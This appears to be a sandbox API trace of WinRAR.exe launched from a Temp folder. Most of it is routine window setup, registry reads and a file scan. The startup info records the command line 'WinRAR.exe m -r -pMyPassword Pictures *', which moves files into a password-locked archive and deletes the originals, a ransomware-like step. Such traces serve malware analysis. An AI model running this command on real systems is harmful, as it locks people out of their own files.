lpType=0x185a94*=0x0, lpData=0x185a90*=0x1, lpcbData=0x185ac8*=0x4) returned 0x2 [0053.635] RegCloseKey (hKey=0x18c) returned 0x0 [0053.636] GetLastError () returned 0x0 [0053.636] SetLastError (dwErrCode=0x0) [0053.636] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface", ulOptions=0x0, samDesired=0x9, phkResult=0x185630 | out: phkResult=0x185630*=0x18c) returned 0x0 [0053.636] RegQueryValueExW (in: hKey=0x18c, lpValueName="TaskbarProgressBar", lpReserved=0x0, lpType=0x185a94, lpData=0x185a90, lpcbData=0x185ac8*=0x4 | out: lpType=0x185a94*=0x0, lpData=0x185a90*=0x1, lpcbData=0x185ac8*=0x4) returned 0x2 [0053.636] RegCloseKey (hKey=0x18c) returned 0x0 [0053.636] FindResourceW (hModule=0x13f160000, lpName="CMDWNDADD", lpType=0x5) returned 0x13f3535c8 [0053.636] LoadResource (hModule=0x13f160000, hResInfo=0x13f3535c8) returned 0x13f41a010 [0053.636] SizeofResource (hModule=0x13f160000, hResInfo=0x13f3535c8) returned 0x414 [0053.636] CreateDialogIndirectParamW (hInstance=0x13f160000, lpTemplate=0x1ef440, hWndParent=0x0, lpDialogFunc=0x13f2268c4, dwInitParam=0x0) returned 0x10244 [0053.644] GetWindowRect (in: hWnd=0x10244, lpRect=0x182648 | out: lpRect=0x182648) returned 1 [0053.644] GetClientRect (in: hWnd=0x10244, lpRect=0x182668 | out: lpRect=0x182668) returned 1 [0053.644] GetWindowTextW (in: hWnd=0x10244, lpString=0x182690, nMaxCount=1024 | out: lpString="Preparing files...") returned 18 [0053.644] SetWindowTextW (hWnd=0x10244, lpString="Preparing files...") returned 1 [0053.644] GetSystemMetrics (nIndex=8) returned 3 [0053.644] GetWindow (hWnd=0x10244, uCmd=0x5) returned 0x10246 [0053.644] GetWindowTextW (in: hWnd=0x10246, lpString=0x182690, nMaxCount=1024 | out: lpString="") returned 0 [0053.644] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10248 [0053.644] GetWindowTextW (in: hWnd=0x10248, lpString=0x182690, nMaxCount=1024 | out: lpString="") returned 0 [0053.644] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0053.644] GetWindowTextW (in: hWnd=0x1024a, lpString=0x182690, nMaxCount=1024 | out: lpString="") returned 0 [0053.644] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x1024c [0053.644] GetWindowTextW (in: hWnd=0x1024c, lpString=0x182690, nMaxCount=1024 | out: lpString="") returned 0 [0053.644] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0053.644] GetWindowTextW (in: hWnd=0x1024e, lpString=0x182690, nMaxCount=1024 | out: lpString="") returned 0 [0053.645] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10250 [0053.645] GetWindowTextW (in: hWnd=0x10250, lpString=0x182690, nMaxCount=1024 | out: lpString="") returned 0 [0053.645] GetWindow (hWnd=0x10250, uCmd=0x2) returned 0x10252 [0053.645] GetWindowTextW (in: hWnd=0x10252, lpString=0x182690, nMaxCount=1024 | out: lpString="") returned 0 [0053.645] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x10254 [0053.645] GetWindowTextW (in: hWnd=0x10254, lpString=0x182690, nMaxCount=1024 | out: lpString="Elapsed time") returned 12 [0053.645] SetWindowTextW (hWnd=0x10254, lpString="Elapsed time") returned 1 [0053.645] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0053.645] GetWindowTextW (in: hWnd=0x10256, lpString=0x182690, nMaxCount=1024 | out: lpString="") returned 0 [0053.645] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x10258 [0053.645] GetWindowTextW (in: hWnd=0x10258, lpString=0x182690, nMaxCount=1024 | out: lpString="Time left") returned 9 [0053.645] SetWindowTextW (hWnd=0x10258, lpString="Time left") returned 1 [0053.645] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0053.645] GetWindowTextW (in: hWnd=0x1025a, lpString=0x182690, nMaxCount=1024 | out: lpString="") returned 0 [0053.645] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x1025c [0053.645] GetWindowTextW (in: hWnd=0x1025c, lpString=0x182690, nMaxCount=1024 | out: lpString="") returned 0 [0053.645] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x1025e [0053.645] GetWindowTextW (in: hWnd=0x1025e, lpString=0x182690, nMaxCount=1024 | out: lpString="Compression ratio") returned 17 [0053.645] SetWindowTextW (hWnd=0x1025e, lpString="Compression ratio") returned 1 [0053.645] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x10260 [0053.645] GetWindowTextW (in: hWnd=0x10260, lpString=0x182690, nMaxCount=1024 | out: lpString="") returned 0 [0053.645] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x10262 [0053.645] GetWindowTextW (in: hWnd=0x10262, lpString=0x182690, nMaxCount=1024 | out: lpString="Processed") returned 9 [0053.645] SetWindowTextW (hWnd=0x10262, lpString="Processed") returned 1 [0053.645] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10264 [0053.645] GetWindowTextW (in: hWnd=0x10264, lpString=0x182690, nMaxCount=1024 | out: lpString="") returned 0 [0053.645] GetWindow (hWnd=0x10264, uCmd=0x2) returned 0x10266 [0053.645] GetWindowTextW (in: hWnd=0x10266, lpString=0x182690, nMaxCount=1024 | out: lpString="") returned 0 [0053.645] GetWindow (hWnd=0x10266, uCmd=0x2) returned 0x10268 [0053.645] GetWindowTextW (in: hWnd=0x10268, lpString=0x182690, nMaxCount=1024 | out: lpString="&Background") returned 11 [0053.645] SetWindowTextW (hWnd=0x10268, lpString="&Background") returned 1 [0053.645] GetWindow (hWnd=0x10268, uCmd=0x2) returned 0x1026a [0053.645] GetWindowTextW (in: hWnd=0x1026a, lpString=0x182690, nMaxCount=1024 | out: lpString="&Pause") returned 6 [0053.645] SetWindowTextW (hWnd=0x1026a, lpString="&Pause") returned 1 [0053.645] GetWindow (hWnd=0x1026a, uCmd=0x2) returned 0x1026c [0053.645] GetWindowTextW (in: hWnd=0x1026c, lpString=0x182690, nMaxCount=1024 | out: lpString="Cancel") returned 6 [0053.645] SetWindowTextW (hWnd=0x1026c, lpString="Cancel") returned 1 [0053.645] GetWindow (hWnd=0x1026c, uCmd=0x2) returned 0x1026e [0053.645] GetWindowTextW (in: hWnd=0x1026e, lpString=0x182690, nMaxCount=1024 | out: lpString="&Mode...") returned 8 [0053.645] SetWindowTextW (hWnd=0x1026e, lpString="&Mode...") returned 1 [0053.645] GetWindow (hWnd=0x1026e, uCmd=0x2) returned 0x10270 [0053.645] GetWindowTextW (in: hWnd=0x10270, lpString=0x182690, nMaxCount=1024 | out: lpString="Help") returned 4 [0053.645] SetWindowTextW (hWnd=0x10270, lpString="Help") returned 1 [0053.646] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x0 [0053.646] IsWindowVisible (hWnd=0x10244) returned 0 [0053.646] GetParent (hWnd=0x10244) returned 0x0 [0053.646] IsWindowVisible (hWnd=0x0) returned 0 [0053.646] GetDesktopWindow () returned 0x10010 [0053.646] GetWindowRect (in: hWnd=0x10010, lpRect=0x183e68 | out: lpRect=0x183e68) returned 1 [0053.646] GetWindowRect (in: hWnd=0x10244, lpRect=0x183e78 | out: lpRect=0x183e78) returned 1 [0053.646] GetWindowLongPtrW (hWnd=0x10244, nIndex=-16) returned 0x84ca08cc [0053.646] SetWindowPos (hWnd=0x10244, hWndInsertAfter=0x0, X=565, Y=315, cx=0, cy=0, uFlags=0x215) returned 1 [0053.647] SendMessageW (hWnd=0x10244, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0053.647] GetSystemMenu (hWnd=0x10244, bRevert=0) returned 0x1021f [0053.647] EnableMenuItem (hMenu=0x1021f, uIDEnableItem=0xf000, uEnable=0x1) returned 0 [0053.647] EnableMenuItem (hMenu=0x1021f, uIDEnableItem=0xf030, uEnable=0x1) returned 0 [0053.647] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0053.647] CreateWindowExW (dwExStyle=0x0, lpClassName="tooltips_class32", lpWindowName=0x0, dwStyle=0x80000073, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x10244, hMenu=0x0, hInstance=0x13f160000, lpParam=0x0) returned 0x10272 [0053.648] GetWindowRect (in: hWnd=0x1024c, lpRect=0x183e98 | out: lpRect=0x183e98) returned 1 [0053.648] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10244, lpPoints=0x183e98, cPoints=0x2 | out: lpPoints=0x183e98) returned -22217272 [0053.648] SendMessageW (hWnd=0x10272, Msg=0x432, wParam=0x0, lParam=0x183e80) returned 0x1 [0053.648] GetDlgItem (hDlg=0x10244, nIDDlgItem=165) returned 0x10248 [0053.648] CreateWindowExW (dwExStyle=0x0, lpClassName="tooltips_class32", lpWindowName=0x0, dwStyle=0x80000073, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x10244, hMenu=0x0, hInstance=0x13f160000, lpParam=0x0) returned 0x10274 [0053.649] GetWindowRect (in: hWnd=0x10248, lpRect=0x183e98 | out: lpRect=0x183e98) returned 1 [0053.649] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10244, lpPoints=0x183e98, cPoints=0x2 | out: lpPoints=0x183e98) returned -22217272 [0053.649] SendMessageW (hWnd=0x10274, Msg=0x432, wParam=0x0, lParam=0x183e80) returned 0x1 [0053.649] IsWindowVisible (hWnd=0x101f6) returned 0 [0053.649] IsIconic (hWnd=0x101f6) returned 0 [0053.649] GetWindowPlacement (in: hWnd=0x10244, lpwndpl=0x184330 | out: lpwndpl=0x184330) returned 1 [0053.649] SetWindowPlacement (hWnd=0x101f6, lpwndpl=0x184330) returned 1 [0053.649] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x46, wParam=0x0, lParam=0x183ed0) returned 0x0 [0053.649] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x24, wParam=0x0, lParam=0x1826c0) returned 0x0 [0053.649] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x83, wParam=0x1, lParam=0x183ea0) returned 0x0 [0053.649] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x93, wParam=0x0, lParam=0x1825a0) returned 0x1 [0053.649] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x47, wParam=0x0, lParam=0x183ed0) returned 0x0 [0053.649] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x3, wParam=0x0, lParam=0x180023d) returned 0x0 [0053.649] GetClientRect (in: hWnd=0x101f6, lpRect=0x181010 | out: lpRect=0x181010) returned 1 [0053.649] GetWindowRect (in: hWnd=0x0, lpRect=0x180fb0 | out: lpRect=0x180fb0) returned 0 [0053.649] GetWindowRect (in: hWnd=0x0, lpRect=0x180fb0 | out: lpRect=0x180fb0) returned 0 [0053.649] MoveWindow (hWnd=0x10208, X=0, Y=2, nWidth=293, nHeight=189, bRepaint=1) returned 1 [0053.651] IsIconic (hWnd=0x101f6) returned 0 [0053.651] GetClientRect (in: hWnd=0x101f6, lpRect=0x180f90 | out: lpRect=0x180f90) returned 1 [0053.651] GetWindowRect (in: hWnd=0x0, lpRect=0x180f30 | out: lpRect=0x180f30) returned 0 [0053.651] GetWindowRect (in: hWnd=0x0, lpRect=0x180f30 | out: lpRect=0x180f30) returned 0 [0053.651] MoveWindow (hWnd=0x10208, X=0, Y=1, nWidth=293, nHeight=191, bRepaint=1) returned 1 [0053.652] IsIconic (hWnd=0x101f6) returned 0 [0053.652] GetClientRect (in: hWnd=0x101f6, lpRect=0x180fa0 | out: lpRect=0x180fa0) returned 1 [0053.652] GetWindowRect (in: hWnd=0x0, lpRect=0x180f40 | out: lpRect=0x180f40) returned 0 [0053.652] GetWindowRect (in: hWnd=0x0, lpRect=0x180f40 | out: lpRect=0x180f40) returned 0 [0053.652] MoveWindow (hWnd=0x10208, X=0, Y=2046, nWidth=293, nHeight=-3899, bRepaint=1) returned 1 [0053.652] IsIconic (hWnd=0x101f6) returned 0 [0053.652] GetClientRect (in: hWnd=0x101f6, lpRect=0x180f20 | out: lpRect=0x180f20) returned 1 [0053.652] GetWindowRect (in: hWnd=0x0, lpRect=0x180ec0 | out: lpRect=0x180ec0) returned 0 [0053.652] GetWindowRect (in: hWnd=0x0, lpRect=0x180ec0 | out: lpRect=0x180ec0) returned 0 [0053.652] MoveWindow (hWnd=0x10208, X=0, Y=0, nWidth=293, nHeight=193, bRepaint=1) returned 1 [0053.653] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x93, wParam=0x0, lParam=0x1836f0) returned 0x1 [0053.653] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x83, wParam=0x1, lParam=0x183830) returned 0x0 [0053.654] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x93, wParam=0x0, lParam=0x181f30) returned 0x1 [0053.654] CreatePen (iStyle=0, cWidth=1, color=0x606060) returned 0x73008a9 [0053.654] CreatePen (iStyle=0, cWidth=1, color=0x80809e) returned 0x23008db [0053.654] CreatePen (iStyle=0, cWidth=1, color=0xeee8e8) returned 0x13008dc [0053.654] CreatePen (iStyle=0, cWidth=1, color=0xffffff) returned 0x13008dd [0053.654] CreatePen (iStyle=0, cWidth=1, color=0xc0ffff) returned 0x13008de [0053.654] CreatePen (iStyle=0, cWidth=1, color=0xb4d4e4) returned 0x13008df [0053.654] CreatePen (iStyle=0, cWidth=1, color=0x9494b4) returned 0x13008e0 [0053.654] CreatePen (iStyle=0, cWidth=1, color=0x464040) returned 0x13008e1 [0053.654] CreateSolidBrush (color=0x6e6e94) returned 0x11008e2 [0053.654] CreateSolidBrush (color=0xdcd6d6) returned 0x11008e3 [0053.654] CreateSolidBrush (color=0xa0c0d0) returned 0x11008e4 [0053.654] PostMessageW (hWnd=0x10244, Msg=0x8008, wParam=0x0, lParam=0x1) returned 1 [0053.654] GetSystemMetrics (nIndex=49) returned 16 [0053.654] GetSystemMetrics (nIndex=50) returned 16 [0053.654] LoadImageW (hInst=0x13f160000, name=0x65, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x10221 [0053.655] SendMessageW (hWnd=0x10244, Msg=0x80, wParam=0x0, lParam=0x10221) returned 0x0 [0053.655] GetSystemMetrics (nIndex=11) returned 32 [0053.655] GetSystemMetrics (nIndex=12) returned 32 [0053.655] LoadImageW (hInst=0x13f160000, name=0x65, type=0x1, cx=32, cy=32, fuLoad=0x0) returned 0x10223 [0053.655] SendMessageW (hWnd=0x10244, Msg=0x80, wParam=0x1, lParam=0x10223) returned 0x0 [0053.656] GetStartupInfoW (in: lpStartupInfo=0x185ae0 | out: lpStartupInfo=0x185ae0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x77c295d7, hStdError=0x201e6)) [0053.656] ShowWindow (hWnd=0x10244, nCmdShow=5) returned 0 [0053.656] GetWindowLongPtrW (hWnd=0x10244, nIndex=-16) returned 0x84ca08cc [0053.656] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0053.886] SetDlgItemTextW (hDlg=0x10244, nIDDlgItem=165, lpString="Pictures.rar") returned 1 [0053.890] GetWindowTextW (in: hWnd=0x10244, lpString=0x13f302480, nMaxCount=2176 | out: lpString="Preparing files...") returned 18 [0053.890] GetWindowTextW (in: hWnd=0x10244, lpString=0x185690, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.890] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0053.890] GetWindowTextW (in: hWnd=0x1024a, lpString=0x184240, nMaxCount=2560 | out: lpString="") returned 0 [0053.890] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0053.890] GetWindowTextW (in: hWnd=0x1024c, lpString=0x184240, nMaxCount=2560 | out: lpString="") returned 0 [0053.890] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0053.890] GetTickCount () returned 0xa644df [0053.890] UpdateWindow (hWnd=0x10244) returned 1 [0053.890] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x40) returned 0x26f930 [0053.890] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x33608) returned 0x297bfd0 [0053.891] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x100000) returned 0x36d0040 [0053.892] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x10c0) returned 0x2764a0 [0053.892] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x10c0) returned 0x277570 [0053.893] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1010) returned 0x278640 [0053.893] FindFirstFileW (in: lpFileName="*", lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0x201920 [0053.893] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.893] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1) returned 3 [0053.894] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xc00) returned 0x27a670 [0053.894] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x26) returned 0x274bd0 [0053.894] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1010) returned 0x27b280 [0053.894] FindFirstFileW (in: lpFileName="4Vw2ygLPEu-Maci0qp\\*", lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0x201980 [0053.894] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.894] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0 [0053.894] GetLastError () returned 0x12 [0053.894] FindClose (in: hFindFile=0x201980 | out: hFindFile=0x201980) returned 1 [0053.894] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27b280 | out: hHeap=0x1b0000) returned 1 [0053.894] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="6so3uw", cchCount2=-1) returned 3 [0053.894] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xe) returned 0x202af0 [0053.894] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1010) returned 0x27b280 [0053.894] FindFirstFileW (in: lpFileName="6so3uw\\*", lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0x201980 [0053.894] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.894] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="9Cnbfi2a", cchCount2=-1) returned 3 [0053.894] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x274c00 [0053.894] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1010) returned 0x27d2b0 [0053.894] FindFirstFileW (in: lpFileName="6so3uw\\9Cnbfi2a\\*", lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0x2019e0 [0053.895] FindNextFileW (in: hFindFile=0x2019e0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.895] FindNextFileW (in: hFindFile=0x2019e0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="B5WGJFxuORhJIbLXl.jpg", cchCount2=-1) returned 3 [0053.895] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x4c) returned 0x201a40 [0053.895] FindNextFileW (in: hFindFile=0x2019e0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="JzMMZnM0QB06bugb_OB.gif", cchCount2=-1) returned 3 [0053.895] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x50) returned 0x201aa0 [0053.895] FindNextFileW (in: hFindFile=0x2019e0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="mwTl5gGRtX.png", cchCount2=-1) returned 3 [0053.895] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x3e) returned 0x26f980 [0053.895] FindNextFileW (in: hFindFile=0x2019e0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="RIcQ1EmpXOwuZfKzm7T.bmp", cchCount2=-1) returned 1 [0053.895] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x50) returned 0x201b00 [0053.895] FindNextFileW (in: hFindFile=0x2019e0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="_J-TfTf8bux6i5ev.jpg", cchCount2=-1) returned 3 [0053.895] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x4a) returned 0x201b60 [0053.895] FindNextFileW (in: hFindFile=0x2019e0, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0 [0053.895] GetLastError () returned 0x12 [0053.895] FindClose (in: hFindFile=0x2019e0 | out: hFindFile=0x2019e0) returned 1 [0053.895] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27d2b0 | out: hHeap=0x1b0000) returned 1 [0053.895] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="c0kYrk2r.gif", cchCount2=-1) returned 3 [0053.895] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x28) returned 0x274c30 [0053.895] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="F6rd1F-UBg20OJcO.bmp", cchCount2=-1) returned 3 [0053.895] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x38) returned 0x26f020 [0053.895] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="kSdj3VO3TR7ki6gTEs.gif", cchCount2=-1) returned 3 [0053.895] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x3c) returned 0x26f9d0 [0053.895] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0 [0053.895] GetLastError () returned 0x12 [0053.895] FindClose (in: hFindFile=0x201980 | out: hFindFile=0x201980) returned 1 [0053.896] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27b280 | out: hHeap=0x1b0000) returned 1 [0053.896] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="atyP90aK6HDTB.png", cchCount2=-1) returned 3 [0053.896] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x24) returned 0x274c60 [0053.896] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1) returned 3 [0053.896] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x18) returned 0x202b10 [0053.896] FindNextFileW (in: hFindFile=0x201920, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="FF-GXA22K-J", cchCount2=-1) returned 3 [0053.896] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x18) returned 0x202b30 [0053.896] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1010) returned 0x27b280 [0053.896] FindFirstFileW (in: lpFileName="FF-GXA22K-J\\*", lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 0x201980 [0053.896] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.896] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="23KKWJn4X.jpg", cchCount2=-1) returned 3 [0053.896] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x34) returned 0x26f060 [0053.896] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="FKAF idlRz23ptJ2k-O.bmp", cchCount2=-1) returned 3 [0053.896] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x48) returned 0x26fa20 [0053.896] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="i--dke3Y4B2pF6twr.bmp", cchCount2=-1) returned 3 [0053.896] LoadStringW (in: hInstance=0x13f160000, uID=0x37a, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0053.896] GetLastError () returned 0x12 [0053.896] SetLastError (dwErrCode=0x12) [0053.896] GetWindowTextW (in: hWnd=0x10244, lpString=0x164510, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.896] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0053.896] GetWindowTextW (in: hWnd=0x1024a, lpString=0x1630c0, nMaxCount=2560 | out: lpString="") returned 0 [0053.896] SetWindowTextW (hWnd=0x1024a, lpString="12 files found") returned 1 [0053.897] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0053.897] GetWindowTextW (in: hWnd=0x1024c, lpString=0x1630c0, nMaxCount=2560 | out: lpString="") returned 0 [0053.897] GetTickCount () returned 0xa644ef [0053.897] PeekMessageW (in: lpMsg=0x1648b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1648b0) returned 1 [0053.897] LoadAcceleratorsW (hInstance=0x13f160000, lpTableName="MENUACC") returned 0x102bf [0053.897] LoadAcceleratorsW (hInstance=0x13f160000, lpTableName="LISTACC") returned 0x102c1 [0053.897] LoadAcceleratorsW (hInstance=0x13f160000, lpTableName="FILEACC") returned 0x102c3 [0053.897] LoadAcceleratorsW (hInstance=0x13f160000, lpTableName="VIEWACC") returned 0x102c5 [0053.897] GetMessageW (in: lpMsg=0x164840, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x164840) returned 1 [0053.897] GetFocus () returned 0x10268 [0053.897] IsDialogMessageW (hDlg=0x10244, lpMsg=0x164840) returned 1 [0053.897] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x0) returned 0x102 [0053.897] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0053.897] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x44) returned 0x26fa70 [0053.897] FindNextFileW (in: hFindFile=0x201980, lpFindFileData=0x162ee0 | out: lpFindFileData=0x162ee0) returned 1 [0053.897] 